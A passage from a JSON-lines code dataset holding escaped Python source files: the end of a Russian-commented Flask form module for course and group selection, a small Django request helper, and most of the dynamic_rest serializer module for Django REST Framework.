u\"%s\" % f'{g.name[:40:1]}') for g in courses]\n        self.fr_course.choices.insert(0, (0, u\"Не выбран\"))\n        if self.fr_course.data is not None:\n            self.fr_course.default = self.fr_course.data\n        else:\n            self.fr_course.data = session.get('fr_course', 0)\n        # Учебная группа\n        try:\n            groups = g.db_sess.query(Groups).join(Courses).order_by(Groups.name).\\\n                filter(Courses.year == Const.YEAR)\n            if  self.fr_course.data:\n                groups = groups.filter( Courses.id == self.fr_course.data)\n            if self.fr_users.data:\n                groups = groups.filter(Groups.idUsers == self.fr_users.data)\n        except Exception as err:\n            groups = None\n            flash(f\"Ошибка обработки SQL\", category='error')\n        self.fr_group.choices = [(gg.id, u\"%s\" % f'{gg.name} {gg.comment}') for gg in groups]\n        self.fr_group.choices.insert(0, (0, u\"Не выбрана\"))\n        if self.fr_group.data is not None:\n            self.fr_group.default = self.fr_group.data\n        else:\n            self.fr_group.data = session.get('fr_group', 0)\n        # except Exception as err:\n        #     db_sess = None\n        #     flash(f\"Ошибка обработки SQL\", category='error')\n","sub_path":"forms/f_rasp.py","file_name":"f_rasp.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"310051402","text":"import warnings\n\nfrom django.contrib.auth.decorators import login_required\n\nimport requests\n\ndef get(*args, **kwargs):\n    r = requests.get(*args, **kwargs)\n    if not r.ok:\n        warnings.warn('Error %d on request for %s' % (r.status_code, r.url))\n    return r\n\nclass LoginRequiredMixin:\n    'https://docs.djangoproject.com/en/dev/topics/class-based-views/intro/#mixins-that-wrap-as-view'\n    @classmethod\n    def as_view(cls, **initkwargs):\n        view = super(LoginRequiredMixin, cls).as_view(**initkwargs)\n        return login_required(view)\n","sub_path":"notes/django-version/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"546059076","text":"\"\"\"This module contains custom serializer classes.\"\"\"\nimport copy\nimport inspect\n\nfrom collections import OrderedDict\nimport inflection\nfrom django.db import models, transaction\nfrom django.utils import six\nfrom django.db.models.fields.files import FieldFile\nfrom django.utils.functional import cached_property\nfrom rest_framework import exceptions, fields, serializers\nfrom rest_framework.fields import SkipField, JSONField\nfrom rest_framework.reverse import reverse\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.utils.serializer_helpers import ReturnDict, ReturnList\n\nfrom dynamic_rest.filters import Filter\nfrom dynamic_rest.permissions import PermissionsSerializerMixin\nfrom dynamic_rest.conf import settings\nfrom dynamic_rest.fields import DynamicRelationField\nfrom dynamic_rest.links import merge_link_object\nfrom dynamic_rest.bound import DynamicJSONBoundField, DynamicBoundField\nfrom dynamic_rest.meta import (\n    Meta,\n    get_model_table,\n    get_model_field,\n    get_related_model\n)\nfrom dynamic_rest.processors import SideloadingProcessor\nfrom dynamic_rest.tagged import tag_dict\nfrom dynamic_rest.base import DynamicBase\n\n\ndef nested_update(instance, key, value, objects=None):\n    objects = objects or []\n    nested = getattr(instance, key, None)\n\n    def fix(x):\n        s = str(x).lower()\n        if s == \"true\":\n            return \"True\"\n        if s == \"false\":\n            return \"False\"\n        return x\n\n    value = {\n        k: fix(v) for k, v in value.items()\n    }\n    if not nested:\n        # object does not exist, try to create it\n        try:\n            field = get_model_field(instance, key)\n            related_model = get_related_model(field)\n        except:\n            raise exceptions.ValidationError(\n                'Invalid relationship: %s' % key\n            )\n        else:\n            nested = related_model.objects.create(**value)\n            setattr(instance, key, nested)\n    else:\n        # object exists, perform a nested update\n        for k, v in six.iteritems(value):\n            if isinstance(v, dict):\n                nested_update(nested, k, v, objects)\n            else:\n                setattr(nested, k, v)\n        objects.append(nested)\n    return objects\n\n\nclass WithResourceKeyMixin(object):\n    @classmethod\n    def get_resource_key(self):\n        \"\"\"Return canonical resource key, usually the DB table name.\"\"\"\n        model = self.get_model()\n        if model:\n            return get_model_table(model)\n        else:\n            return self.get_name()\n\n\nclass DynamicListSerializer(WithResourceKeyMixin, serializers.ListSerializer):\n    \"\"\"Custom ListSerializer class.\n\n    This implementation delegates DREST-specific methods to\n    the child serializer and performs post-processing before\n    returning the data.\n    \"\"\"\n\n    update_lookup_field = 'id'\n\n    def __init__(self, *args, **kwargs):\n        super(DynamicListSerializer, self).__init__(*args, **kwargs)\n        self.child.parent = self\n\n    def set_request_method(self, method):\n        return self.child.set_request_method(method)\n\n    def get_all_fields(self):\n        return self.child.get_all_fields()\n\n    def get_link_fields(self):\n        return self.child.get_link_fields()\n\n    def get_id_fields(self):\n        return self.child.get_id_fields()\n\n    def __iter__(self):\n        return self.child.__iter__()\n\n    def get_field(self, name):\n        return self.child.get_field(name)\n\n    @property\n    def fields(self):\n        return self.child.fields\n\n    def get_filters(self):\n        return self.child.get_filters()\n\n    def get_meta(self):\n        return self.child.get_meta()\n\n    def disable_envelope(self):\n        self.child.disable_envelope()\n        self._processed_data = None\n\n    def to_representation(self, data):\n        iterable = data.all() if isinstance(data, models.Manager) else data\n        return [self.child.to_representation(item) for item in iterable]\n\n    def get_description(self):\n        return self.child.get_description()\n\n    def resolve(self, query):\n        return self.child.resolve(query)\n\n    def get_name_field(self):\n        return self.child.get_name_field()\n\n    def get_class_getter(self):\n        return self.child.get_class_getter()\n\n    def get_search_key(self):\n        return self.child.get_search_key()\n\n    def get_icon(self):\n        return self.child.get_icon()\n\n    def get_url(self, pk=None):\n        return self.child.get_url(pk=pk)\n\n    def get_model(self):\n        return self.child.get_model()\n\n    def get_pk_field(self):\n        return self.child.get_pk_field()\n\n    def get_format(self):\n        return self.child.get_format()\n\n    def get_name(self):\n        return self.child.get_name()\n\n    def get_plural_name(self):\n        return self.child.get_plural_name()\n\n    def id_only(self):\n        return self.child.id_only()\n\n    @property\n    def data(self):\n        \"\"\"Get the data, after performing post-processing if necessary.\"\"\"\n        if getattr(self, '_processed_data', None) is None:\n            data = super(DynamicListSerializer, self).data\n            self._processed_data = ReturnDict(\n                SideloadingProcessor(self, data).data,\n                serializer=self\n            ) if self.child.envelope else ReturnList(\n                data,\n                serializer=self\n            )\n        return self._processed_data\n\n    def update(self, queryset, validated_data):\n        lookup_attr = getattr(self.child.Meta, 'update_lookup_field', 'id')\n\n        lookup_objects = {\n            entry.pop(lookup_attr): entry\n            for entry in validated_data\n        }\n\n        lookup_keys = lookup_objects.keys()\n\n        if not all((bool(_) and not inspect.isclass(_) for _ in lookup_keys)):\n            raise exceptions.ValidationError('Invalid lookup key value.')\n\n        # Since this method is given a queryset which can have many\n        # model instances, first find all objects to update\n        # and only then update the models.\n        objects_to_update = queryset.filter(\n            **{'{}__in'.format(lookup_attr): lookup_keys}\n        )\n\n        if len(lookup_keys) != objects_to_update.count():\n            raise exceptions.ValidationError(\n                'Could not find all objects to update: {} != {}.'\n                .format(len(lookup_keys), objects_to_update.count())\n            )\n\n        updated_objects = []\n        for object_to_update in objects_to_update:\n            lookup_key = getattr(object_to_update, lookup_attr)\n            data = lookup_objects.get(lookup_key)\n            # Use model serializer to actually update the model\n            # in case that method is overwritten.\n            updated_objects.append(self.child.update(object_to_update, data))\n\n        return updated_objects\n\n\nclass WithDynamicSerializerMixin(\n    PermissionsSerializerMixin,\n    WithResourceKeyMixin,\n    DynamicBase\n):\n    \"\"\"Base class for DREST serializers.\n\n    This class provides support for dynamic field inclusions/exclusions.\n\n    Like DRF, DREST serializers support a few Meta class options:\n        - model - class\n        - name - string\n        - plural_name - string\n        - defer_many_relations - bool\n        - fields - list of strings\n        - deferred_fields - list of strings\n        - immutable_fields - list of strings\n        - read_only_fields - list of strings\n        - untrimmed_fields - list of strings\n    \"\"\"\n    def __new__(cls, *args, **kwargs):\n        \"\"\"\n        Custom constructor that sets the ListSerializer to\n        DynamicListSerializer to avoid re-evaluating querysets.\n\n        Addresses DRF 3.1.0 bug:\n        https://github.com/tomchristie/django-rest-framework/issues/2704\n        \"\"\"\n        meta = getattr(cls, 'Meta', None)\n        if not meta:\n            meta = type('Meta', (), {})\n            cls.Meta = meta\n        list_serializer_class = getattr(\n            meta, 'list_serializer_class', DynamicListSerializer)\n        if not issubclass(list_serializer_class, DynamicListSerializer):\n            list_serializer_class = DynamicListSerializer\n        meta.list_serializer_class = list_serializer_class\n        return super(\n            WithDynamicSerializerMixin, cls\n        ).__new__(\n            cls, *args, **kwargs\n        )\n\n    def __init__(\n            self,\n            instance=None,\n            data=fields.empty,\n            only_fields=None,\n            include_fields=None,\n            exclude_fields=None,\n            request_fields=None,\n            sideloading=None,\n            debug=False,\n            dynamic=True,\n            embed=False,\n            envelope=False,\n            **kwargs\n    ):\n        \"\"\"\n        Custom initializer that builds `request_fields`.\n\n        Arguments:\n            instance: Initial instance, used by updates.\n            data: Initial data, used by updates / creates.\n            only_fields: List of field names to render.\n            include_fields: List of field names to include.\n            exclude_fields: List of field names to exclude.\n            request_fields: Map of field names that supports\n                nested inclusions / exclusions.\n            embed: If True, embed the current representation.\n                If False, sideload the current representation.\n            sideloading: If True, force sideloading for all descendents.\n                If False, force embedding for all descendents.\n                If None (default), respect descendents' embed parameters.\n            dynamic: If False, disable inclusion / exclusion features.\n            envelope: If True, wrap `.data` in an envelope.\n                If False, do not use an envelope.\n        \"\"\"\n        name = self.get_name()\n        if data is not fields.empty and name in data and len(data) == 1:\n            # support POST/PUT key'd by resource name\n            data = data[name]\n        if data is not fields.empty:\n            # if a field is nullable but not required and the implementation\n            # passes null as a value, remove the field from the data\n            # this addresses the frontends that send\n            # undefined resource fields as null on POST/PUT\n            for field_name, field in six.iteritems(self.get_all_fields()):\n                if (\n                    field.allow_null is False and field.required is False and\n                    field_name in data and data[field_name] is None\n                ):\n                    data.pop(field_name)\n\n        kwargs['instance'] = instance\n        kwargs['data'] = data\n\n        # \"sideload\" argument is pending deprecation\n        if kwargs.pop('sideload', False):\n            # if \"sideload=True\" is passed, turn on the envelope\n            envelope = True\n\n        super(WithDynamicSerializerMixin, self).__init__(**kwargs)\n\n        self.envelope = envelope\n        self.sideloading = sideloading\n        self.debug = debug\n        self.dynamic = dynamic\n        self.request_fields = request_fields or {}\n\n        # `embed` is overriden by `sideloading`\n        embed = embed if sideloading is None else not sideloading\n        self.embed = embed\n\n        self._dynamic_init(only_fields, include_fields, exclude_fields)\n        self.enable_optimization = settings.ENABLE_SERIALIZER_OPTIMIZATIONS\n\n    def _dynamic_init(self, only_fields, include_fields, exclude_fields):\n        \"\"\"\n        Modifies `request_fields` via higher-level dynamic field interfaces.\n\n        Arguments:\n            only_fields: List of field names to render.\n                All other fields will be deferred (respects sideloads).\n            include_fields: List of field names to include.\n                Adds to default field set, (respects sideloads).\n                `*` means include all fields.\n            exclude_fields: List of field names to exclude.\n                Removes from default field set. If set to '*', all fields are\n                removed, except for ones that are explicitly included.\n        \"\"\"\n\n        if not self.dynamic:\n            return\n\n        if (isinstance(self.request_fields, dict) and\n                self.request_fields.pop('*', None) is False):\n            exclude_fields = '*'\n\n        only_fields = set(only_fields or [])\n        include_fields = include_fields or []\n        exclude_fields = exclude_fields or []\n        all_fields = set(self.get_all_fields().keys())\n\n        if only_fields:\n            exclude_fields = '*'\n            include_fields = only_fields\n\n        if exclude_fields == '*':\n            # First exclude all, then add back in explicitly included fields.\n            include_fields = set(\n                list(include_fields) + [\n                    field for field, val in six.iteritems(self.request_fields)\n                    if val or val == {}\n                ]\n            )\n            exclude_fields = all_fields - include_fields\n        elif include_fields == '*':\n            include_fields = all_fields\n\n        for name in exclude_fields:\n            self.request_fields[name] = False\n\n        for name in include_fields:\n            if not isinstance(self.request_fields.get(name), dict):\n                # not sideloading this field\n                self.request_fields[name] = True\n\n    def get_filters(self):\n        filters = getattr(self.get_meta(), 'filters', {})\n        return OrderedDict((\n            (name, Filter(name, value, serializer=self)) for name, value in\n            filters.items()\n        ))\n\n    def get_field_value(self, key, instance=None):\n        if instance == '':\n            instance = None\n\n        field = self.fields[key]\n        if hasattr(field, 'prepare_value'):\n            value = field.prepare_value(instance)\n        else:\n            value = field.to_representation(\n                field.get_attribute(instance)\n            )\n        if not isinstance(value, FieldFile):\n            if isinstance(value, list):\n                value = [\n                    getattr(v, 'instance', v) for v in value\n                ]\n            else:\n                value = getattr(value, 'instance', value)\n        error = self.errors.get(key) if hasattr(self, '_errors') else None\n\n        if isinstance(field, JSONField):\n            return DynamicJSONBoundField(\n                field, value, error, prefix='', instance=instance\n            )\n        return DynamicBoundField(\n            field, value, error, prefix='', instance=instance\n        )\n\n    def get_pk_field(self):\n        try:\n            field = self.get_field('pk')\n            return field.field_name\n        except:\n            pass\n        return 'pk'\n\n    @classmethod\n    def get_icon(cls):\n        meta = cls.get_meta()\n        return getattr(meta, 'icon', None)\n\n    @classmethod\n    def get_meta(cls):\n        return cls.Meta\n\n    def resolve(self, query):\n        \"\"\"Resolves a query into model and serializer fields.\n\n        Arguments:\n            query: an API field path, in dot-nation\n                e.g: \"creator.location_name\"\n\n        Returns:\n            (model_fields, api_fields)\n                e.g:\n                    [\n                        Blog._meta.fields.user,\n                        User._meta.fields.location,\n                        Location._meta.fields.name\n                    ],\n                    [\n                        DynamicRelationField(source=\"user\"),\n                        DynamicCharField(source=\"location.name\")\n                    ]\n\n        Raises:\n            ValidationError if the query is invalid,\n                e.g. references a method field or an undefined field\n        ```\n\n        Note that the lists do not necessarily contain the\n        same number of elements because API fields can reference nested model fields.\n        \"\"\"  # noqa\n        if not isinstance(query, six.string_types):\n            parts = query\n            query = '.'.join(query)\n        else:\n            parts = query.split('.')\n\n        model_fields = []\n        api_fields = []\n\n        serializer = self\n\n        model = serializer.get_model()\n        resource_name = serializer.get_name()\n        meta = Meta(model)\n        api_name = parts[0]\n        other = parts[1:]\n\n        try:\n            api_field = serializer.get_field(api_name)\n        except:\n            api_field = None\n\n        if other:\n            if not (\n                api_field and\n                isinstance(api_field, DynamicRelationField)\n            ):\n                raise ValidationError({\n                    api_name:\n                    'Could not resolve \"%s\": '\n                    '\"%s.%s\" is not an API relation' % (\n                        query,\n                        resource_name,\n                        api_name\n                    )\n                })\n\n            source = api_field.source or api_name\n            related = api_field.serializer_class()\n            other = '.'.join(other)\n            model_fields, api_fields = related.resolve(other)\n\n            try:\n                model_field = meta.get_field(source)\n            except AttributeError:\n                raise ValidationError({\n                    api_name:\n                    'Could not resolve \"%s\": '\n                    '\"%s.%s\" is not a model relation' % (\n                        query,\n                        meta.get_name(),\n                        source\n                    )\n                })\n\n            model_fields.insert(0, model_field)\n            api_fields.insert(0, api_field)\n        else:\n            if api_name == 'pk':\n                # pk is an alias for the id field\n                model_field = meta.get_pk_field()\n                model_fields.append(model_field)\n                if api_field:\n                    # the pk field may not exist\n                    # on the serializer\n                    api_fields.append(api_field)\n            else:\n                if not api_field:\n                    raise ValidationError({\n                        api_name:\n                        'Could not resolve \"%s\": '\n                        '\"%s.%s\" is not an API field' % (\n                            query,\n                            resource_name,\n                            api_name\n                        )\n                    })\n\n                api_fields.append(api_field)\n\n                if api_field.source == '*':\n                    # a method field was requested, model field is unknown\n                    return (model_fields, api_fields)\n\n                source = api_field.source or api_name\n                if '.' in source:\n                    fields = source.split('.')\n                    for field in fields[:-1]:\n                        related_model = None\n                        try:\n                            model_field = meta.get_field(field)\n                            related_model = model_field.related_model\n                        except:\n                            pass\n\n                        if not related_model:\n                            raise ValidationError({\n                                api_name:\n                                'Could not resolve \"%s\": '\n                                '\"%s.%s\" is not a model relation' % (\n                                    query,\n                                    meta.get_name(),\n                                    field\n                                )\n                            })\n                        model = related_model\n                        meta = Meta(model)\n                        model_fields.append(model_field)\n                    field = fields[-1]\n                    try:\n                        model_field = meta.get_field(field)\n                    except:\n                        raise ValidationError({\n                            api_name:\n                            'Could not resolve: \"%s\", '\n                            '\"%s.%s\" is not a model field' % (\n                                query,\n                                meta.get_name(),\n                                field\n                            )\n                        })\n                    model_fields.append(model_field)\n                else:\n                    try:\n                        model_field = meta.get_field(source)\n                    except:\n                        raise ValidationError({\n                            api_name:\n                            'Could not resolve \"%s\": '\n                            '\"%s.%s\" is not a model field' % (\n                                query,\n                                meta.get_name(),\n                                source\n                            )\n                        })\n                    model_fields.append(model_field)\n\n        return (model_fields, api_fields)\n\n    def disable_envelope(self):\n        envelope = self.envelope\n        self.envelope = False\n        if envelope:\n            self._processed_data = None\n\n    @classmethod\n    def get_model(cls):\n        \"\"\"Get the model, if the serializer has one.\n\n        Model serializers should implement this method.\n        \"\"\"\n        return None\n\n    def get_field(self, field_name):\n        # it might be deferred\n        fields = self.get_all_fields()\n        if field_name == 'pk':\n            meta = self.get_meta()\n            if hasattr(meta, '_pk'):\n                return meta._pk\n\n            field = None\n            model = self.get_model()\n            primary_key = getattr(meta, 'primary_key', None)\n\n            if primary_key:\n                field = fields.get(primary_key)\n            else:\n                for n, f in fields.items():\n                    # try to use model fields\n                    try:\n                        if getattr(field, 'primary_key', False):\n                            field = f\n                            break\n\n                        model_field = get_model_field(\n                            model,\n                            f.source or n\n                        )\n\n                        if model_field.primary_key:\n                            field = f\n                            break\n                    except:\n                        pass\n\n            if not field:\n                # fall back to a field called ID\n                if 'id' in fields:\n                    field = fields['id']\n\n            if field:\n                meta._pk = field\n                return field\n        else:\n            if field_name in fields:\n                field = fields[field_name]\n                return field\n\n        raise ValidationError({\n            field_name: '\"%s\" is not an API field' % field_name\n        })\n\n    def get_format(self):\n        view = self.context.get('view')\n        get_format = getattr(view, 'get_format', None)\n        if callable(get_format):\n            return get_format()\n        return None\n\n    @classmethod\n    def get_name(cls):\n        \"\"\"Get the serializer name.\n\n        The name can be defined on the Meta class or will be generated\n        automatically from the model name.\n        \"\"\"\n        if not hasattr(cls.Meta, 'name'):\n            class_name = getattr(cls.get_model(), '__name__', None)\n            setattr(\n                cls.Meta,\n                'name',\n                inflection.underscore(class_name) if class_name else None\n            )\n\n        return cls.Meta.name\n\n    @classmethod\n    def get_url(self, pk=None):\n        # if associated with a registered viewset, use its URL\n        url = getattr(self, '_url', None)\n        if url:\n            # use URL key to get endpoint\n            url = reverse(url)\n        if not url:\n            # otherwise, return canonical URL for this model\n            from dynamic_rest.routers import DynamicRouter\n            url = DynamicRouter.get_canonical_path(\n                self.get_resource_key()\n            )\n        if pk:\n            return '%s/%s/' % (url, pk)\n        return url\n\n    @classmethod\n    def get_description(cls):\n        return getattr(cls.Meta, 'description', None)\n\n    @classmethod\n    def get_class_getter(self):\n        meta = self.get_meta()\n        return getattr(meta, 'get_classes', None)\n\n    @classmethod\n    def get_name_field(cls):\n        if not hasattr(cls.Meta, 'name_field'):\n            # fallback to primary key\n            return 'pk'\n        return cls.Meta.name_field\n\n    @classmethod\n    def get_search_key(cls):\n        meta = cls.get_meta()\n        if hasattr(meta, 'search_key'):\n            return meta.search_key\n\n        # fallback to name field\n        name_field = cls.get_name_field()\n        if name_field:\n            return 'filter{%s.icontains}' % name_field\n\n        # fallback to PK\n        return 'pk'\n\n    @classmethod\n    def get_plural_name(cls):\n        \"\"\"Get the serializer's plural name.\n\n        The plural name may be defined on the Meta class.\n        If the plural name is not defined,\n        the pluralized form of the name will be returned.\n        \"\"\"\n        if not hasattr(cls.Meta, 'plural_name'):\n            setattr(\n                cls.Meta,\n                'plural_name',\n                inflection.pluralize(cls.get_name())\n            )\n        return cls.Meta.plural_name\n\n    def get_request_attribute(self, attribute, default=None):\n        return getattr(\n            self.context.get('request'),\n            attribute,\n            default\n        )\n\n    def set_request_method(self, method=None):\n        self._request_method = method\n\n    def get_request_method(self):\n        if getattr(self, '_request_method', None):\n            return self._request_method\n        else:\n            return self.get_request_attribute(\n                'method',\n                ''\n            ).upper()\n\n    def get_all_fields(self):\n        \"\"\"Returns the entire serializer field set.\n\n        Does not respect dynamic field inclusions/exclusions.\n        \"\"\"\n        if not hasattr(self, '_all_fields'):\n            self._all_fields = super(\n                WithDynamicSerializerMixin,\n                self\n            ).get_fields()\n            for k, field in six.iteritems(self._all_fields):\n                field.field_name = k\n                label = inflection.humanize(k)\n                field.label = getattr(field, 'label', label) or label\n                field.parent = self\n        return self._all_fields\n\n    def _get_flagged_field_names(self, fields, attr, meta_attr=None):\n        meta = self.get_meta()\n        if meta_attr is None:\n            meta_attr = '%s_fields' % attr\n        meta_list = set(getattr(meta, meta_attr, []))\n        return {\n            name for name, field in six.iteritems(fields)\n            if getattr(field, attr, None) is True or name in\n            meta_list\n        }\n\n    def _get_deferred_field_names(self, fields):\n        meta = self.get_meta()\n        deferred_fields = self._get_flagged_field_names(\n            fields,\n            'deferred'\n        )\n\n        defer_many_relations = (\n            settings.DEFER_MANY_RELATIONS\n            if not hasattr(meta, 'defer_many_relations')\n            else meta.defer_many_relations\n        )\n        if defer_many_relations:\n            # Auto-defer all fields, unless the 'deferred' attribute\n            # on the field is specifically set to False.\n            many_fields = self._get_flagged_field_names(fields, 'many')\n            deferred_fields.update({\n                name for name in many_fields\n                if getattr(fields[name], 'deferred', None) is not False\n            })\n\n        return deferred_fields\n\n    def flag_fields(self, all_fields, fields_to_flag, attr, value):\n        for name in fields_to_flag:\n            field = all_fields.get(name)\n            if not field:\n                continue\n            setattr(field, attr, value)\n\n    def get_fields(self):\n        \"\"\"Returns the serializer's field set.\n\n        If `dynamic` is True, respects field inclusions/exlcusions.\n        Otherwise, reverts back to standard DRF behavior.\n        \"\"\"\n        all_fields = self.get_all_fields()\n        if self.dynamic is False:\n            return all_fields\n\n        if self.id_only():\n            return {}\n\n        serializer_fields = copy.deepcopy(all_fields)\n        request_fields = self.request_fields\n        deferred = self._get_deferred_field_names(serializer_fields)\n\n        # apply request overrides\n        if request_fields:\n            if request_fields is True:\n                request_fields = {}\n            for name, include in six.iteritems(request_fields):\n                if name not in serializer_fields and name != 'pk':\n                    raise exceptions.ParseError(\n                        '\"%s\" is not a valid field name for \"%s\".' %\n                        (name, self.get_name())\n                    )\n                if include is not False and name in deferred:\n                    deferred.remove(name)\n                elif include is False:\n                    deferred.add(name)\n\n        for name in deferred:\n            serializer_fields.pop(name)\n\n        # Set read_only flags based on read_only_fields meta list.\n        # Here to cover DynamicFields not covered by DRF.\n        meta = self.get_meta()\n        ro_fields = getattr(meta, 'read_only_fields', [])\n        self.flag_fields(serializer_fields, ro_fields, 'read_only', True)\n\n        pw_fields = getattr(meta, 'untrimmed_fields', [])\n        self.flag_fields(\n            serializer_fields,\n            pw_fields,\n            'trim_whitespace',\n            False,\n        )\n\n        method = self.get_request_method()\n        # Toggle read_only flags for immutable fields.\n        # Note: This overrides `read_only` if both are set, to allow\n        #       inferred DRF fields to be made immutable.\n        immutable_field_names = self._get_flagged_field_names(\n            serializer_fields,\n            'immutable'\n        )\n        self.flag_fields(\n            serializer_fields,\n            immutable_field_names,\n            'read_only',\n            value=method in ('PUT', 'PATCH')\n        )\n        # Toggle read_only for only-update fields\n        only_update_field_names = self._get_flagged_field_names(\n            serializer_fields,\n            'only_update'\n        )\n        self.flag_fields(\n            serializer_fields,\n            only_update_field_names,\n            'read_only',\n            value=method in ('POST')\n        )\n        return serializer_fields\n\n    def is_field_sideloaded(self, field_name):\n        if not isinstance(self.request_fields, dict):\n            return False\n        return isinstance(self.request_fields.get(field_name), dict)\n\n    def get_link_fields(self):\n        \"\"\"Construct dict of name:field for linkable fields.\"\"\"\n        if not hasattr(self, '_link_fields'):\n            query_params = self.get_request_attribute('query_params', {})\n            if 'exclude_links' in query_params:\n                self._link_fields = {}\n            else:\n                all_fields = self.get_all_fields()\n                self._link_fields = {\n                    name: field for name, field in six.iteritems(all_fields)\n                    if isinstance(field, DynamicRelationField) and\n                    getattr(field, 'link', True) and\n                    not (\n                        # Skip sideloaded fields\n                        name in self.fields and\n                        self.is_field_sideloaded(name)\n                    )\n                }\n\n        return self._link_fields\n\n    @cached_property\n    def _readable_fields(self):\n        # NOTE: Copied from DRF, exists in 3.2.x but not 3.1\n        return [\n            field for field in self.fields.values()\n            if not field.write_only\n        ]\n\n    def _faster_to_representation(self, instance):\n        \"\"\"Modified to_representation with optimizations.\n\n        1) Returns a plain old dict as opposed to OrderedDict.\n            (Constructing ordered dict is ~100x slower than `{}`.)\n        2) Ensure we use a cached list of fields\n            (this optimization exists in DRF 3.2 but not 3.1)\n\n        Arguments:\n            instance: a model instance or data object\n        Returns:\n            Dict of primitive datatypes.\n        \"\"\"\n\n        ret = {}\n        fields = self._readable_fields\n\n        for field in fields:\n            try:\n                attribute = field.get_attribute(instance)\n            except SkipField:\n                continue\n\n            if attribute is None:\n                # We skip `to_representation` for `None` values so that\n                # fields do not have to explicitly deal with that case.\n                ret[field.field_name] = None\n            else:\n                ret[field.field_name] = field.to_representation(attribute)\n\n        return ret\n\n    def is_root(self):\n        return self.parent is None\n\n    def to_representation(self, instance):\n        \"\"\"Modified to_representation method.\n\n        Arguments:\n            instance: A model instance or data object.\n        Returns:\n            Instance ID if the serializer is meant to represent its ID.\n            Otherwise, a tagged data dict representation.\n        \"\"\"\n        id_only = self.id_only()\n        if (\n            self.get_format() == 'admin' and\n            self.is_root()\n        ):\n            id_only = False\n        if id_only:\n            return instance.pk\n        else:\n            if self.enable_optimization:\n                representation = self._faster_to_representation(instance)\n            else:\n                representation = super(\n                    WithDynamicSerializerMixin,\n                    self\n                ).to_representation(instance)\n\n            query_params = self.get_request_attribute('query_params', {})\n            if (\n                settings.ENABLE_LINKS and\n                'exclude_links' not in query_params\n            ):\n                representation = merge_link_object(\n                    self, representation, instance\n                )\n\n        if self.debug:\n            representation['_meta'] = {\n                'id': instance.pk,\n                'type': self.get_plural_name()\n            }\n\n        # tag the representation with the serializer and instance\n        return tag_dict(\n            representation,\n            serializer=self,\n            instance=instance,\n            embed=self.embed\n        )\n\n    def to_internal_value(self, data):\n        meta = self.get_meta()\n        value = super(WithDynamicSerializerMixin, self).to_internal_value(data)\n\n        id_attr = getattr(meta, 'update_lookup_field', 'id')\n        request_method = self.get_request_method()\n\n        # Add update_lookup_field field back to validated data\n        # since super by default strips out read-only fields\n        # hence id will no longer be present in validated_data.\n        if all((\n            isinstance(self.root, DynamicListSerializer),\n            id_attr,\n            request_method in ('PUT', 'PATCH')\n        )):\n            id_field = self.fields[id_attr]\n            id_value = id_field.get_value(data)\n            value[id_attr] = id_value\n\n        return value\n\n    def add_post_save(self, fn):\n        if not hasattr(self, '_post_save'):\n            self._post_save = []\n        self._post_save.append(fn)\n\n    def do_post_save(self, instance):\n        if hasattr(self, '_post_save'):\n            for fn in self._post_save:\n                fn(instance)\n            self._post_save = []\n\n    def update(self, instance, validated_data):\n        # support nested writes if possible\n        meta = Meta(instance)\n        to_save = [instance]\n        # Simply set each attribute on the instance, and then save it.\n        # Note that unlike `.create()` we don't need to treat many-to-many\n        # relationships as being a special case. During updates we already\n        # have an instance pk for the relationships to be associated with.\n        try:\n\n            with transaction.atomic():\n                for attr, value in validated_data.items():\n                    try:\n                        field = meta.get_field(attr)\n                        if field.related_model:\n                            if isinstance(value, dict):\n                                # nested dictionary on a has-one\n                                # relationship, we should take the current\n                                # related value and apply updates to it\n                                to_save.extend(\n                                    nested_update(instance, attr, value)\n                                )\n                            else:\n                                # normal relationship update\n                                setattr(instance, attr, value)\n                        else:\n                            setattr(instance, attr, value)\n                    except AttributeError:\n                        setattr(instance, attr, value)\n\n                for s in to_save:\n                    s.save()\n        except Exception as e:\n            raise exceptions.ValidationError(e)\n\n        return instance\n\n    def save(self, *args, **kwargs):\n        \"\"\"Serializer save that addresses prefetch issues.\"\"\"\n        update = getattr(self, 'instance', None) is not None\n        try:\n            instance = super(\n                WithDynamicSerializerMixin,\n                self\n            ).save(\n                *args,\n                **kwargs\n            )\n        except exceptions.APIException as e:\n            if self.debug:\n                import traceback\n                traceback.print_exc()\n\n            raise\n        except Exception as e:\n            if self.debug:\n                import traceback\n                traceback.print_exc()\n\n            error = e.args[0] if e.args else str(e)\n            if not isinstance(error, dict):\n                error = {'error': error}\n            self._errors = error\n            raise exceptions.ValidationError(\n                self.errors\n            )\n        self.do_post_save(instance)\n\n        view = self._context.get('view')\n        if update and view:\n            # Reload the object on update\n            # to get around prefetch cache issues\n            instance = self.instance = view.get_object()\n        return instance\n\n    def id_only(self):\n        \"\"\"Whether the serializer should return an ID instead of an object.\n\n        Returns:\n            True if and only if `request_fields` is True.\n        \"\"\"\n        return (\n            self.dynamic and\n            self.request_fields is True\n        )\n\n    @property\n    def data(self):\n        if getattr(self, '_processed_data', None) is None:\n            data = super(WithDynamicSerializerMixin, self).data\n            data = SideloadingProcessor(\n                self, data\n            ).data if self.envelope else data\n            self._processed_data = ReturnDict(\n                data,\n                serializer=self\n            )\n        return self._processed_data\n\n\nclass WithDynamicModelSerializerMixin(WithDynamicSerializerMixin):\n\n    \"\"\"Adds DREST serializer methods specific to model-based serializers.\"\"\"\n\n    @classmethod\n    def get_model(cls):\n        return getattr(cls.Meta, 'model', None)\n\n    def get_id_fields(self):\n        \"\"\"\n        Called to return a list of fields consisting of, at minimum,\n        the PK field name. The output of this method is used to\n        construct a Prefetch object with a .only() queryset\n        when this field is not being sideloaded but we need to\n        return a list of IDs.\n        \"\"\"\n        model = self.get_model()\n        meta = Meta(model)\n\n        out = [meta.get_pk_field().attname]\n\n        # If this is being called, it means it\n        # is a many-relation  to its parent.\n        # Django wants the FK to the parent,\n        # but since accurately inferring the FK\n        # pointing back to the parent is less than trivial,\n        # we will just pull all ID fields.\n        # TODO: We also might need to return all non-nullable fields,\n        #    or else it is possible Django will issue another request.\n        for field in meta.get_fields():\n            if isinstance(field, models.ForeignKey):\n                out.append(field.attname)\n\n        return out\n\n\nclass DynamicModelSerializer(\n    WithDynamicModelSerializerMixin,\n    serializers.ModelSerializer\n):\n\n    \"\"\"DREST-compatible model-based serializer.\"\"\"\n    pass\n\n\nclass 